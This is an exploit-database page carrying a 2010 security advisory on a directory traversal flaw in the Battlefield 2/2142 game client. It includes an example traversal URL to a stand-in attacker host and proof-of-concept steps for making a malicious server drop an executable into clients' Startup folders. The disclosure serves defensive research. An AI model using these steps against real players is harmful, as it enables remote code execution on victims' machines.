header-logo
Suggest Exploit
vendor:
Battlefield 2
by:
Luigi Auriemma
7,5
CVSS
HIGH
Directory Traversal
22
CWE
Product Name: Battlefield 2
Affected Version From: Battlefield 2 <= 1.50 (aka 1.5.3153-802.0)
Affected Version To: Battlefield 2142 <= 1.50 (aka 1.10.48.0)
Patch Exists: NO
Related CWE: N/A
CPE: a:electronic_arts:battlefield_2
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2010

Refractor 2 engine Client URLs Directory Traversal

The Battlefield series is developed by DICE and published by Electronic Arts. Each BF2 and BF2142 server has some fields where the admin can specify the links to files and images like the sponsor and community logo. The client performs a very simple operation, it gets the URL and downloads the file saving it locally using its original name in the following folder. The problem is that the client doesn't check the URL and so it's possible to specify a directory traversal sequence like http://evil.com/../../../../../../../../../../../../../../../../boot.ini and the client will download the file boot.ini from the root of the C: drive. The same vulnerability affects also the DemoDownloadURL, DemoIndexURL and CustomMapsURL fields.

Mitigation:

Ensure that the client URLs are properly validated and sanitized before being used.
Source

Exploit-DB raw data:

Source:
http://aluigi.org/adv/bf2urlz-adv.txt

#######################################################################

Luigi Auriemma

Application: Refractor 2 engine
Games: Battlefield 2 <= 1.50 (aka 1.5.3153-802.0)
http://www.battlefield.ea.com/battlefield/bf2/
Battlefield 2142 <= 1.50 (aka 1.10.48.0)
http://battlefield.ea.com/battlefield/bf2142/
...
other games developed with the same engine could be
vulnerable like Battlefield Heroes
Platforms: Windows
Bug: client URLs directory traversal
Exploitation: remote, versus clients
Date: 29 Jun 2010
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


The Battlefield series is one of the most famous and played series of
games deeply devoted to multiplayer gaming.
The series is developed by DICE (http://www.dice.se) and published by
Electronic Arts.


#######################################################################

======
2) Bug
======


Each BF2 and BF2142 server has some fields where the admin can specify
the links to files and images like the sponsor and community logo.
The sponsor logo is visible immediately when the client gets the list
of servers and selects the server with the mouse (one-click, not join)
while the second one is loaded when the client joins that server.

Exist also other URLs like DemoDownloadURL, DemoIndexURL and
CustomMapsURL that can be exploited when the client joins the malicious
server.

The client performs a very simple operation, it gets the URL and
downloads the file saving it locally using its original name in the
following folder:
C:\Documents and Settings\USER\My Documents\Battlefield 2\LogoCache\SERVER
C:\Documents and Settings\USER\My Documents\Battlefield 2142\LogoCache\SERVER
where USER is the Windows account of the current user and SERVER is the
address of the web server, while LogoCache could be HttpCache if are
used the URLs for downloading demos and maps.

The vulnerability resides in the missing handling of the backslash char
with the consequence that the name of the file will include the
classical directory traversal pattern allowing a malicious server to
upload malicious executables on the clients.

Note that the loading of the URLs is automatic and doesn't seem
possible to disable this feature.


#######################################################################

===========
3) The Code
===========

http://aluigi.org/testz/onlywebs.zip
or
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14267.zip (bfonlywebs.zip)

- launch: onlywebs.exe c:\malicious_file.exe
- start the server launcher using the following string as sponsor and
community logo URL:
http://SERVER/..\..\..\..\Start Menu\Programs\Startup\owned.exe
- Save and Start the server
- launch the client and go in the multiplayer menu
- when the refreshing of the list is terminated select or join the
malicious server
- now the file owned.exe will be available in the Startup folder of the
client and will be executed at the next login or reboot

note that the server could be not seen if you are running it on the
same machine of the client (127.0.0.1), in that case use another
computer/vm (a server or an UDP datapipe on port 29900)


#######################################################################

======
4) Fix
======


No fix.


#######################################################################